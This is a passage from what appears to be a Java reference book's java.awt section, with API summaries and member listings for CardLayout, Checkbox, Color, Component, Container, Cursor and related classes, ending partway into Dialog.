A LayoutManager that makes each of the components it manages as large as the container and ensures that only one is visible at a time. The standard LayoutManager methods are called by the Container object and should not be called directly by applet or application code. first(), last(), next(), previous(), and show() make a particular Component in the Container visible. The names with which the components are added to the container are used only by the show() method.

public class CardLayout implements LayoutManager2, Serializable {
// | Public Constructors
 | public CardLayout (); |
 | public CardLayout (int hgap, int vgap); |
// | Property Accessor Methods (by property name)
1.1 | public int getHgap (); | default:0
1.1 | public void setHgap (int hgap); |
1.1 | public int getVgap (); | default:0
1.1 | public void setVgap (int vgap); |
// | Public Instance Methods
 | public void first (Container parent); |
 | public void last (Container parent); |
 | public void next (Container parent); |
 | public void previous (Container parent); |
 | public void show (Container parent, String name); |
// | Methods Implementing LayoutManager
 | public void layoutContainer (Container parent); |
 | public Dimension minimumLayoutSize (Container parent); |
 | public Dimension preferredLayoutSize (Container parent); |
 | public void removeLayoutComponent (Component comp); |
// | Methods Implementing LayoutManager2
1.1 | public void addLayoutComponent (Component comp, Object constraints); |
1.1 | public float getLayoutAlignmentX (Container parent); |
1.1 | public float getLayoutAlignmentY (Container parent); |
1.1 | public void invalidateLayout (Container target); | empty
1.1 | public Dimension maximumLayoutSize (Container target); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Deprecated Public Methods
# | public void addLayoutComponent (String name, Component comp); | Implements:LayoutManager
}

Hierarchy: Object-->CardLayout(LayoutManager2(LayoutManager),Serializable)

Checkbox | Java 1.0
java.awt | serializable AWT component PJ1.1

This class represents a GUI checkbox with a textual label. The Checkbox maintains a boolean state--whether it is checked or not. The checkbox may optionally be part of a CheckboxGroup that enforces radio button behavior.

public class Checkbox extends Component implements ItemSelectable {
// | Public Constructors
 | public Checkbox (); |
 | public Checkbox (String label); |
1.1 | public Checkbox (String label, boolean state); |
 | public Checkbox (String label, CheckboxGroup group, boolean state); |
1.1 | public Checkbox (String label, boolean state, CheckboxGroup group); |
// | Event Registration Methods (by event name)
1.1 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
// | Property Accessor Methods (by property name)
 | public CheckboxGroup getCheckboxGroup (); | default:null
 | public void setCheckboxGroup (CheckboxGroup g); |
 | public String getLabel (); | default:""
 | public void setLabel (String label); |
1.1 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable default:null
 | public boolean getState (); | default:false
 | public void setState (boolean state); |
// | Methods Implementing ItemSelectable
1.1 | public void addItemListener (java.awt.event.ItemListener l); | synchronized
1.1 | public Object[ ] getSelectedObjects (); | default:null
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | synchronized
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processItemEvent (java.awt.event.ItemEvent e); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Checkbox(ItemSelectable)

Passed To: CheckboxGroup.{setCurrent(), setSelectedCheckbox()}, Toolkit.createCheckbox()

Returned By: CheckboxGroup.{getCurrent(), getSelectedCheckbox()}

CheckboxGroup | Java 1.0
java.awt | serializable PJ1.1

A CheckboxGroup object enforces mutual exclusion (also known as radio button behavior) among any number of Checkbox buttons. A Checkbox component can specify a CheckboxGroup object when created or with its setCheckboxGroup() method. If a Checkbox within a CheckboxGroup object is selected, the CheckboxGroup ensures that the previously selected Checkbox becomes unselected.

public class CheckboxGroup implements Serializable {
// | Public Constructors
 | public CheckboxGroup (); |
// | Property Accessor Methods (by property name)
1.1 | public Checkbox getSelectedCheckbox (); | default:null
1.1 | public void setSelectedCheckbox (Checkbox box); |
// | Public Methods Overriding Object
 | public String toString (); |
// | Deprecated Public Methods
# | public Checkbox getCurrent (); | default:null
# | public void setCurrent (Checkbox box); | synchronized
}

Hierarchy: Object-->CheckboxGroup(Serializable)

Passed To: Checkbox.{Checkbox(), setCheckboxGroup()}, java.awt.peer.CheckboxPeer.setCheckboxGroup()

Returned By: Checkbox.getCheckboxGroup()

CheckboxMenuItem | Java 1.0
java.awt | serializable AWT component PJ1.1(opt)

This class represents a checkbox with a textual label in a GUI menu. It maintains a boolean state--whether it is checked or not. See also MenuItem.

public class CheckboxMenuItem extends MenuItem implements ItemSelectable {
// | Public Constructors
1.1 | public CheckboxMenuItem (); |
 | public CheckboxMenuItem (String label); |
1.1 | public CheckboxMenuItem (String label, boolean state); |
// | Event Registration Methods (by event name)
1.1 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
// | Property Accessor Methods (by property name)
1.1 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable synchronized default:null
 | public boolean getState (); | default:false
 | public void setState (boolean b); | synchronized
// | Methods Implementing ItemSelectable
1.1 | public void addItemListener (java.awt.event.ItemListener l); | synchronized
1.1 | public Object[ ] getSelectedObjects (); | synchronized default:null
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | synchronized
// | Public Methods Overriding MenuItem
 | public void addNotify (); |
 | public String paramString (); |
// | Protected Methods Overriding MenuItem
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processItemEvent (java.awt.event.ItemEvent e); |
}

Hierarchy: Object-->MenuComponent(Serializable)-->MenuItem-->CheckboxMenuItem(ItemSelectable)

Passed To: Toolkit.createCheckboxMenuItem()

Choice | Java 1.0
java.awt | serializable AWT component PJ1.1

This class represents an option menu or dropdown list. The addItem() method adds an item with the specified label to a Choice menu. getSelectedIndex() returns the numerical position of the selected item in the menu, while getSelectedItem() returns the label of the selected item.

public class Choice extends Component implements ItemSelectable {
// | Public Constructors
 | public Choice (); |
// | Event Registration Methods (by event name)
1.1 | public void addItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | Implements:ItemSelectable synchronized
// | Property Accessor Methods (by property name)
1.1 | public int getItemCount (); | default:0
 | public int getSelectedIndex (); | default:-1
 | public String getSelectedItem (); | synchronized default:null
1.1 | public Object[ ] getSelectedObjects (); | Implements:ItemSelectable synchronized default:null
// | Public Instance Methods
1.1 | public void add (String item); |
 | public void addItem (String item); |
 | public String getItem (int index); |
1.1 | public void insert (String item, int index); |
1.1 | public void remove (String item); |
1.1 | public void remove (int position); |
1.1 | public void removeAll (); |
 | public void select (String str); | synchronized
 | public void select (int pos); | synchronized
// | Methods Implementing ItemSelectable
1.1 | public void addItemListener (java.awt.event.ItemListener l); | synchronized
1.1 | public Object[ ] getSelectedObjects (); | synchronized default:null
1.1 | public void removeItemListener (java.awt.event.ItemListener l); | synchronized
// | Public Methods Overriding Component
 | public void addNotify (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void processItemEvent (java.awt.event.ItemEvent e); |
// | Deprecated Public Methods
# | public int countItems (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Choice(ItemSelectable)

Passed To: Toolkit.createChoice()

Color | Java 1.0
java.awt | serializable PJ1.1

This class describes a color in terms of the individual components of that color. These components are either float values that range between 0 and 1 or 8-bit integers that range from 0 to 255. Prior to Java 1.2, only the RGB (red, green, blue) color space was supported. With the advent of Java 2D, the Color class has been extended to support alpha transparency and arbitrary java.awt.color.ColorSpace objects. In addition, the Java 1.2 Color class implements the Paint interface and is used to perform Java 2D drawing and filling operations that use solid colors.

Color objects can be obtained in a number of ways. The Color() constructors allow color components to be directly specified. The class also defines several color constants. The SystemColor subclass defines other useful Color constants that are related to standard colors used on the system desktop. The static methods HSBtoRGB() and RGBtoHSB() convert between the RGB color space and the HSB (hue, saturation, brightness) color space and can be used to create colors specified using the more intuitive HSB color components. brighter() and darker() return variants on the current color and are useful for creating shading effects.

An RGB color can be expressed as a 24-bit number, where the top 8 bits specifies the red component, the middle 8 bits specifies the green component, and the low 8 bits specifies the blue component. Colors are often represented using a string representation of this 24-bit number. It is particularly common to use a hexadecimal representation for a color, since it keeps the red, green, and blue components distinct. For example, the string "0xFF0000" represents a bright red color: the red component has a value of 255, and both the green and blue components are 0. The static decode() method converts color strings encoded in this way to Color objects. Each getColor() method looks up the specified key in the system properties list and then decodes the value and returns the resulting Color or the specified default color, if no color is found in the properties list.

getRGB() returns the red, green, and blue components of a color as a 24-bit number. getRed(), getBlue(), getGreen(), and getAlpha() return the individual components of a color as integers. getComponents() is a generalized method that returns the color and transparency components of a color in a float array, using an optionally specified ColorSpace. getColorComponents() is similar but returns only the color components, not the transparency component. getRGBComponents() returns the color and alpha components as float values using the RGB color space. getRGBColorComponents() does the same but does not return the alpha component. Each of these methods either fills in the elements of a float[] array you provide or allocates one of its own, if you pass null.

public class Color implements Paint, Serializable {
// | Public Constructors
 | public Color (int rgb); |
1.2 | public Color (int rgba, boolean hasalpha); |
1.2 | public Color (java.awt.color.ColorSpace cspace, float[ ] components, float alpha); |
 | public Color (float r, float g, float b); |
 | public Color (int r, int g, int b); |
1.2 | public Color (int r, int g, int b, int a); |
1.2 | public Color (float r, float g, float b, float a); |
// | Public Constants
 | public static final Color black ; |
 | public static final Color blue ; |
 | public static final Color cyan ; |
 | public static final Color darkGray ; |
 | public static final Color gray ; |
 | public static final Color green ; |
 | public static final Color lightGray ; |
 | public static final Color magenta ; |
 | public static final Color orange ; |
 | public static final Color pink ; |
 | public static final Color red ; |
 | public static final Color white ; |
 | public static final Color yellow ; |
// | Public Class Methods
1.1 | public static Color decode (String nm) throws NumberFormatException; |
 | public static Color getColor (String nm); |
 | public static Color getColor (String nm, Color v); |
 | public static Color getColor (String nm, int v); |
 | public static Color getHSBColor (float h, float s, float b); |
 | public static int HSBtoRGB (float hue, float saturation, float brightness); |
 | public static float[ ] RGBtoHSB (int r, int g, int b, float[ ] hsbvals); |
// | Property Accessor Methods (by property name)
1.2 | public int getAlpha (); |
 | public int getBlue (); |
1.2 | public java.awt.color.ColorSpace getColorSpace (); |
 | public int getGreen (); |
 | public int getRed (); |
 | public int getRGB (); |
1.2 | public int getTransparency (); | Implements:Transparency
// | Public Instance Methods
 | public Color brighter (); |
 | public Color darker (); |
1.2 | public float[ ] getColorComponents (float[ ] compArray); |
1.2 | public float[ ] getColorComponents (java.awt.color.ColorSpace cspace, float[ ] compArray); |
1.2 | public float[ ] getComponents (float[ ] compArray); |
1.2 | public float[ ] getComponents (java.awt.color.ColorSpace cspace, float[ ] compArray); |
1.2 | public float[ ] getRGBColorComponents (float[ ] compArray); |
1.2 | public float[ ] getRGBComponents (float[ ] compArray); |
// | Methods Implementing Paint
1.2 | public PaintContext createContext (java.awt.image.ColorModel cm, Rectangle r, java.awt.geom.Rectangle2D r2d, java.awt.geom.AffineTransform xform, RenderingHints hints); | synchronized
// | Methods Implementing Transparency
1.2 | public int getTransparency (); |
// | Public Methods Overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->Color(Paint(Transparency),Serializable)

Subclasses: SystemColor, javax.swing.plaf.ColorUIResource

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Too many fields to list.

Component | Java 1.0
java.awt | serializable AWT component PJ1.1(mod)

Component is the superclass of all GUI components (except menu components) in the java.awt package. You cannot instantiate a Component directly; you must use a subclass.

Component defines many methods. Some of these are intended to be implemented by subclasses, including some that are for handling events. Other methods are used internally by the AWT. And many are useful utility methods for working with GUI components. getParent() returns the Container that contains a Component. setBackground(), setForeground(), and setFont() set the specified display attributes of a component. hide(), show(), enable(), and disable() perform the specified actions for a component. createImage() creates either an Image object from a specified ImageProducer or an off-screen image that can be drawn into and used for double-buffering during animation. Component also has quite a few deprecated methods, as a result of the Java 1.1 event model and the introduction of the JavaBeans method-naming conventions. The class defines numerous methods for handling many types of events, using the 1.0 and 1.1 event models, in both their high-level and low-level forms.

In Personal Java environments, the setCursor() method can be ignored. Also, the Personal Java API supports the isDoubleBuffered() method, even though it is not part of the Java 1.1 API from which Personal Java is derived.

public abstract class Component implements java.awt.image.ImageObserver, MenuContainer, Serializable {
// | Protected Constructors
 | protected Component (); |
// | Public Constants
1.1 | public static final float BOTTOM_ALIGNMENT ; | =1.0
1.1 | public static final float CENTER_ALIGNMENT ; | =0.5
1.1 | public static final float LEFT_ALIGNMENT ; | =0.0
1.1 | public static final float RIGHT_ALIGNMENT ; | =1.0
1.1 | public static final float TOP_ALIGNMENT ; | =0.0
// | Event Registration Methods (by event name)
1.1 | public void addComponentListener (java.awt.event.ComponentListener l); | synchronized
1.1 | public void removeComponentListener (java.awt.event.ComponentListener l); | synchronized
1.1 | public void addFocusListener (java.awt.event.FocusListener l); | synchronized
1.1 | public void removeFocusListener (java.awt.event.FocusListener l); | synchronized
1.2 | public void addInputMethodListener (java.awt.event.InputMethodListener l); | synchronized
1.2 | public void removeInputMethodListener (java.awt.event.InputMethodListener l); | synchronized
1.1 | public void addKeyListener (java.awt.event.KeyListener l); | synchronized
1.1 | public void removeKeyListener (java.awt.event.KeyListener l); | synchronized
1.1 | public void addMouseListener (java.awt.event.MouseListener l); | synchronized
1.1 | public void removeMouseListener (java.awt.event.MouseListener l); | synchronized
1.1 | public void addMouseMotionListener (java.awt.event.MouseMotionListener l); | synchronized
1.1 | public void removeMouseMotionListener (java.awt.event.MouseMotionListener l); | synchronized
1.2 | public void addPropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
1.2 | public void removePropertyChangeListener (java.beans.PropertyChangeListener listener); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public float getAlignmentX (); |
1.1 | public float getAlignmentY (); |
 | public Color getBackground (); |
 | public void setBackground (Color c); |
1.1 | public Rectangle getBounds (); |
1.2 | public Rectangle getBounds (Rectangle rv); |
1.1 | public void setBounds (Rectangle r); |
1.1 | public void setBounds (int x, int y, int width, int height); |
 | public java.awt.image.ColorModel getColorModel (); |
1.2 | public ComponentOrientation getComponentOrientation (); |
1.2 | public void setComponentOrientation (ComponentOrientation o); |
1.1 | public Cursor getCursor (); |
1.1 | public void setCursor (Cursor cursor); | synchronized
1.2 | public boolean isDisplayable (); |
1.2 | public boolean isDoubleBuffered (); | constant
1.2 | public java.awt.dnd.DropTarget getDropTarget (); | synchronized
1.2 | public void setDropTarget (java.awt.dnd.DropTarget dt); | synchronized
 | public boolean isEnabled (); |
1.1 | public void setEnabled (boolean b); |
1.1 | public boolean isFocusTraversable (); |
 | public Font getFont (); | Implements:MenuContainer
 | public void setFont (Font f); |
 | public Color getForeground (); |
 | public void setForeground (Color c); |
 | public Graphics getGraphics (); |
1.2 | public int getHeight (); |
1.2 | public java.awt.im.InputContext getInputContext (); |
1.2 | public java.awt.im.InputMethodRequests getInputMethodRequests (); | constant
1.2 | public boolean isLightweight (); |
1.1 | public java.util.Locale getLocale (); |
1.1 | public void setLocale (java.util.Locale l); |
1.1 | public Point getLocation (); |
1.2 | public Point getLocation (Point rv); |
1.1 | public void setLocation (Point p); |
1.1 | public void setLocation (int x, int y); |
1.1 | public Point getLocationOnScreen (); |
1.1 | public Dimension getMaximumSize (); |
1.1 | public Dimension getMinimumSize (); |
1.1 | public String getName (); |
1.1 | public void setName (String name); |
1.2 | public boolean isOpaque (); |
 | public Container getParent (); |
1.1 | public Dimension getPreferredSize (); |
 | public boolean isShowing (); |
1.1 | public Dimension getSize (); |
1.2 | public Dimension getSize (Dimension rv); |
1.1 | public void setSize (Dimension d); |
1.1 | public void setSize (int width, int height); |
 | public Toolkit getToolkit (); |
1.1 | public final Object getTreeLock (); |
 | public boolean isValid (); |
 | public boolean isVisible (); |
1.1 | public void setVisible (boolean b); |
1.2 | public int getWidth (); |
1.2 | public int getX (); |
1.2 | public int getY (); |
// | Public Instance Methods
1.1 | public void add (PopupMenu popup); | synchronized
 | public void addNotify (); |
1.2 | public void addPropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
 | public int checkImage (Image image, java.awt.image.ImageObserver observer); |
 | public int checkImage (Image image, int width, int height, java.awt.image.ImageObserver observer); |
1.1 | public boolean contains (Point p); |
1.1 | public boolean contains (int x, int y); |
 | public Image createImage (java.awt.image.ImageProducer producer); |
 | public Image createImage (int width, int height); |
1.1 | public final void dispatchEvent (AWTEvent e); |
1.1 | public void doLayout (); |
1.2 | public void enableInputMethods (boolean enable); |
1.1 | public Component getComponentAt (Point p); |
1.1 | public Component getComponentAt (int x, int y); |
 | public FontMetrics getFontMetrics (Font font); |
1.2 | public boolean hasFocus (); |
 | public void invalidate (); |
 | public void list (); |
1.1 | public void list (java.io.PrintWriter out); |
 | public void list (java.io.PrintStream out); |
1.1 | public void list (java.io.PrintWriter out, int indent); |
 | public void list (java.io.PrintStream out, int indent); |
 | public void paint (Graphics g); | empty
 | public void paintAll (Graphics g); |
 | public boolean prepareImage (Image image, java.awt.image.ImageObserver observer); |
 | public boolean prepareImage (Image image, int width, int height, java.awt.image.ImageObserver observer); |
 | public void print (Graphics g); |
 | public void printAll (Graphics g); |
 | public void removeNotify (); |
1.2 | public void removePropertyChangeListener (String propertyName, java.beans.PropertyChangeListener listener); | synchronized
 | public void repaint (); |
 | public void repaint (long tm); |
 | public void repaint (int x, int y, int width, int height); |
 | public void repaint (long tm, int x, int y, int width, int height); |
 | public void requestFocus (); |
1.1 | public void transferFocus (); |
 | public void update (Graphics g); |
 | public void validate (); |
// | Methods Implementing ImageObserver
 | public boolean imageUpdate (Image img, int flags, int x, int y, int w, int h); |
// | Methods Implementing MenuContainer
 | public Font getFont (); |
1.1 | public void remove (MenuComponent popup); | synchronized
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Methods
1.2 | protected AWTEvent coalesceEvents (AWTEvent existingEvent, AWTEvent newEvent); |
1.1 | protected final void disableEvents (long eventsToDisable); |
1.1 | protected final void enableEvents (long eventsToEnable); |
1.2 | protected void firePropertyChange (String propertyName, Object oldValue, Object newValue); |
 | protected String paramString (); |
1.1 | protected void processComponentEvent (java.awt.event.ComponentEvent e); |
1.1 | protected void processEvent (AWTEvent e); |
1.1 | protected void processFocusEvent (java.awt.event.FocusEvent e); |
1.2 | protected void processInputMethodEvent (java.awt.event.InputMethodEvent e); |
1.1 | protected void processKeyEvent (java.awt.event.KeyEvent e); |
1.1 | protected void processMouseEvent (java.awt.event.MouseEvent e); |
1.1 | protected void processMouseMotionEvent (java.awt.event.MouseEvent e); |
// | Deprecated Public Methods
# | public boolean action (Event evt, Object what); | constant
# | public Rectangle bounds (); |
# | public void deliverEvent (Event e); |
# | public void disable (); |
# | public void enable (); |
# | public void enable (boolean b); |
# | public java.awt.peer.ComponentPeer getPeer (); |
# | public boolean gotFocus (Event evt, Object what); | constant
# | public boolean handleEvent (Event evt); |
# | public void hide (); |
# | public boolean inside (int x, int y); |
# | public boolean keyDown (Event evt, int key); | constant
# | public boolean keyUp (Event evt, int key); | constant
# | public void layout (); | empty
# | public Component locate (int x, int y); |
# | public Point location (); |
# | public boolean lostFocus (Event evt, Object what); | constant
# | public Dimension minimumSize (); |
# | public boolean mouseDown (Event evt, int x, int y); | constant
# | public boolean mouseDrag (Event evt, int x, int y); | constant
# | public boolean mouseEnter (Event evt, int x, int y); | constant
# | public boolean mouseExit (Event evt, int x, int y); | constant
# | public boolean mouseMove (Event evt, int x, int y); | constant
# | public boolean mouseUp (Event evt, int x, int y); | constant
# | public void move (int x, int y); |
# | public void nextFocus (); |
# | public boolean postEvent (Event e); | Implements:MenuContainer
# | public Dimension preferredSize (); |
# | public void reshape (int x, int y, int width, int height); |
# | public void resize (Dimension d); |
# | public void resize (int width, int height); |
# | public void show (); |
# | public void show (boolean b); |
# | public Dimension size (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)

Subclasses: Button, Canvas, Checkbox, Choice, Container, Label, java.awt.List, Scrollbar, TextComponent, javax.swing.Box.Filler

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Too many fields to list.

ComponentOrientation | Java 1.2
java.awt | serializable

This class encapsulates differences in the way characters in GUI components are arranged into lines and the way lines are grouped into blocks. In western languages like English, characters are arranged left to right and lines are arranged top to bottom, but this is not true throughout the world. In Hebrew, for example, characters are arranged from right to left, and in traditional Chinese, characters are arranged from top to bottom.

The isHorizontal() and isLeftToRight() methods specify the necessary orientation information. The class defines two constants for commonly used orientation types. Authors of AWT, Swing, and JavaBeans components may want to take orientation into account when developing their components (see the getComponentOrientation() method of Component). Applications that use these components should typically not have to worry about this class.

You can query the default orientation for a given java.util.Locale by calling the static getOrientation() method. Set the componentOrientation property of all components in a window by passing a ResourceBundle object to the applyResourceBundle() method of a Window. This looks up the "Orientation" resource in the bundle and, if it is not found, uses the default orientation for the locale of the bundle.

public final class ComponentOrientation implements Serializable {
// | No Constructor
// | Public Constants
 | public static final ComponentOrientation LEFT_TO_RIGHT ;
 | public static final ComponentOrientation RIGHT_TO_LEFT ;
 | public static final ComponentOrientation UNKNOWN ;
// | Public Class Methods
 | public static ComponentOrientation getOrientation (java.util.ResourceBundle bdl);
 | public static ComponentOrientation getOrientation (java.util.Locale locale);
// | Public Instance Methods
 | public boolean isHorizontal ();
 | public boolean isLeftToRight ();
}

Hierarchy: Object-->ComponentOrientation(Serializable)

Passed To: Component.setComponentOrientation()

Returned By: Component.getComponentOrientation(), ComponentOrientation.getOrientation()

Type Of: ComponentOrientation.{LEFT_TO_RIGHT, RIGHT_TO_LEFT, UNKNOWN}

Composite Java 1.2
java.awt

This interface defines how two colors are combined to yield a composite color. When Java 2D performs a drawing operation, it uses a Composite object to combine the colors it wants to draw with the colors that already exist on the screen or in the off-screen image.

The default compositing operation is to draw the new color on top of the color already on the screen. If the new color is fully opaque, the existing color is ignored. If the new color is partially transparent, however, it is combined with the color already on the screen to produce a composite color. To specify a different compositing operation, pass a Composite object to the setComposite() method of a Graphics2D object.

AlphaComposite is a commonly used implementation of Composite; it combines colors in a number of possible ways based on their alpha-transparency levels. AlphaComposite is suitable for most uses; very few applications should have to define a custom implementation of Composite.

Note that the only method of Composite, createContext(), does not perform compositing itself. Instead, it returns a CompositeContext object suitable for compositing colors encoded using the specified color models and rendering hints. It is the CompositeContext object that performs the actual work of combining colors.

public abstract interface Composite {
// | Public Instance Methods
 | public abstract CompositeContext createContext (java.awt.image.ColorModel srcColorModel, java.awt.image.ColorModel dstColorModel, RenderingHints hints);
}

Implementations: AlphaComposite

Passed To: Graphics2D.setComposite()

Returned By: Graphics2D.getComposite()

CompositeContext Java 1.2
java.awt

This interface defines the methods that do the actual work of compositing colors. The CompositeContext interface is used internally by Java 2D; applications never need to call CompositeContext methods. And only applications that implement a custom Composite class need to implement this interface.

A CompositeContext object holds the state for a particular compositing operation (in multi-threaded programs, there may be several compositing operations in progress at once). A Graphics2D object creates CompositeContext objects as needed by calling the createContext() method of its Composite object.

Once a CompositeContext object has been created, its compose() method is responsible for combining the colors of the first two Raster objects passed to it and storing the resulting colors in the specified WriteableRaster. (This WriteableRaster is usually the same object as one of the first two arguments.) The dispose() method should free any resources held by the CompositeContext. It is called when the Graphics2D no longer requires the CompositeContext.

public abstract interface CompositeContext {
// | Public Instance Methods
 | public abstract void compose (java.awt.image.Raster src, java.awt.image.Raster dstIn, java.awt.image.WritableRaster dstOut);
 | public abstract void dispose ();
}

Returned By: AlphaComposite.createContext(), Composite.createContext()

Container | Java 1.0
java.awt | serializable AWT component PJ1.1

This class implements a component that can contain other components. You cannot instantiate Container directly but must use one of its subclasses, such as Panel, Frame, or Dialog. Once a Container is created, you can set its LayoutManager with setLayout(), add components to it with add(), and remove them with remove(). getComponents() returns an array of the components contained in a Container. locate() determines within which contained component a specified point falls. list() produces helpful debugging output.

public class Container extends Component {
// | Public Constructors
 | public Container (); |
// | Event Registration Methods (by event name)
1.1 | public void addContainerListener (java.awt.event.ContainerListener l); | synchronized
1.1 | public void removeContainerListener (java.awt.event.ContainerListener l); | synchronized
// | Property Accessor Methods (by property name)
1.1 | public float getAlignmentX (); | Overrides:Component default:0.5
1.1 | public float getAlignmentY (); | Overrides:Component default:0.5
1.1 | public int getComponentCount (); | default:0
 | public Component[ ] getComponents (); |
1.2 | public void setCursor (Cursor cursor); | Overrides:Component synchronized
1.2 | public void setFont (Font f); | Overrides:Component
1.1 | public Insets getInsets (); |
 | public LayoutManager getLayout (); | default:null
 | public void setLayout (LayoutManager mgr); |
1.1 | public Dimension getMaximumSize (); | Overrides:Component
1.1 | public Dimension getMinimumSize (); | Overrides:Component
1.1 | public Dimension getPreferredSize (); | Overrides:Component
// | Public Instance Methods
 | public Component add (Component comp); |
1.1 | public void add (Component comp, Object constraints); |
 | public Component add (String name, Component comp); |
 | public Component add (Component comp, int index); |
1.1 | public void add (Component comp, Object constraints, int index); |
1.2 | public Component findComponentAt (Point p); |
1.2 | public Component findComponentAt (int x, int y); |
 | public Component getComponent (int n); |
1.1 | public boolean isAncestorOf (Component c); |
 | public void paintComponents (Graphics g); |
 | public void printComponents (Graphics g); |
 | public void remove (Component comp); |
1.1 | public void remove (int index); |
 | public void removeAll (); |
// | Public Methods Overriding Component
 | public void addNotify (); |
1.1 | public void doLayout (); |
1.1 | public Component getComponentAt (Point p); |
1.1 | public Component getComponentAt (int x, int y); |
1.1 | public void invalidate (); |
1.1 | public void list (java.io.PrintWriter out, int indent); |
 | public void list (java.io.PrintStream out, int indent); |
1.1 | public void paint (Graphics g); |
1.1 | public void print (Graphics g); |
 | public void removeNotify (); |
1.1 | public void update (Graphics g); |
 | public void validate (); |
// | Protected Methods Overriding Component
 | protected String paramString (); |
1.1 | protected void processEvent (AWTEvent e); |
// | Protected Instance Methods
1.1 | protected void addImpl (Component comp, Object constraints, int index); |
1.1 | protected void processContainerEvent (java.awt.event.ContainerEvent e); |
1.1 | protected void validateTree (); |
// | Deprecated Public Methods
# | public int countComponents (); |
# | public void deliverEvent (Event e); | Overrides:Component
# | public Insets insets (); |
# | public void layout (); | Overrides:Component
# | public Component locate (int x, int y); | Overrides:Component
# | public Dimension minimumSize (); | Overrides:Component
# | public Dimension preferredSize (); | Overrides:Component
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,MenuContainer,Serializable)-->Container

Subclasses: Panel, ScrollPane, Window, javax.swing.Box, javax.swing.CellRendererPane, javax.swing.JComponent, javax.swing.tree.DefaultTreeCellEditor.EditorContainer

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: javax.swing.JRootPane.contentPane, javax.swing.tree.DefaultTreeCellEditor.editingContainer

Cursor | Java 1.1
java.awt | serializable PJ1.1

This class represents a mouse cursor. It defines a number of constants, which represent the 14 predefined cursors provided by Java 1.0 and Java 1.1. You can pass one of these constants to the constructor to create a cursor of the specified type. Call getType() to determine the type of an existing Cursor object. Since there are only a fixed number of available cursors, the static method getPredefinedCursor() is more efficient than the Cursor() constructor--it maintains a cache of Cursor objects that can be reused. The static getDefaultCursor() method returns the default cursor for the underlying system.

In Java 1.2, the Cursor class has a new getSystemCustomCursor() method that returns a named cursor defined by a system administrator in a systemwide cursors.properties file. Since there is no way to query the list of system-specific custom cursors, however, this method is rarely used. Instead, you can create your own custom cursor by calling the createCustomCursor() method of the Toolkit object. You should first check whether custom cursors are supported by calling the getBestCursorSize() method of Toolkit. If this method indicates a width or height of 0, custom cursors are not supported (by either the Java implementation or the underlying windowing system).

public class Cursor implements Serializable {
// | Public Constructors
 | public Cursor (int type); |
// | Protected Constructors
1.2 | protected Cursor (String name); |
// | Public Constants
 | public static final int CROSSHAIR_CURSOR ; | =1
1.2 | public static final int CUSTOM_CURSOR ; | =-1
 | public static final int DEFAULT_CURSOR ; | =0
 | public static final int E_RESIZE_CURSOR ; | =11
 | public static final int HAND_CURSOR ; | =12
 | public static final int MOVE_CURSOR ; | =13
 | public static final int N_RESIZE_CURSOR ; | =8
 | public static final int NE_RESIZE_CURSOR ; | =7
 | public static final int NW_RESIZE_CURSOR ; | =6
 | public static final int S_RESIZE_CURSOR ; | =9
 | public static final int SE_RESIZE_CURSOR ; | =5
 | public static final int SW_RESIZE_CURSOR ; | =4
 | public static final int TEXT_CURSOR ; | =2
 | public static final int W_RESIZE_CURSOR ; | =10
 | public static final int WAIT_CURSOR ; | =3
// | Public Class Methods
 | public static Cursor getDefaultCursor (); |
 | public static Cursor getPredefinedCursor (int type); |
1.2 | public static Cursor getSystemCustomCursor (String name) throws AWTException; |
// | Public Instance Methods
1.2 | public String getName (); |
 | public int getType (); |
// | Public Methods Overriding Object
1.2 | public String toString (); |
// | Protected Class Fields
 | protected static Cursor[ ] predefined ; |
// | Protected Instance Fields
1.2 | protected String name ; |
}

Hierarchy: Object-->Cursor(Serializable)

Passed To: Too many methods to list.

Returned By: Too many methods to list.

Type Of: Cursor.predefined, java.awt.dnd.DragSource.{DefaultCopyDrop, DefaultCopyNoDrop, DefaultLinkDrop, DefaultLinkNoDrop, DefaultMoveDrop, DefaultMoveNoDrop}

Dialog | Java 1.0
java.awt | serializable AWT component PJ1.1(mod)

This class represents a dialog box window. A Dialog can be modal, so that it blocks user input to all other windows until dismissed. It is optional whether a dialog has a title and whether it is resizable. A Dialog object is a Container, so you can add Component objects to it in the normal way with the add() method. The default LayoutManager for Dialog is BorderLayout. You can specify a different LayoutManager object with setLayout(). Call the pack() method of Window to initiate layout management of the dialog and set its initial size appropriately. Call show() to pop a dialog up and setVisible(false) to pop it down. For modal dialogs, show() blocks until the dialog is dismissed. Event handling continues while show() is blocked, using a new event dispatcher thread. In Java 1.0, show() is inherited from Window. Call the Window.dispose() method when the Dialog is no longer needed so that its window system resources may be reused.

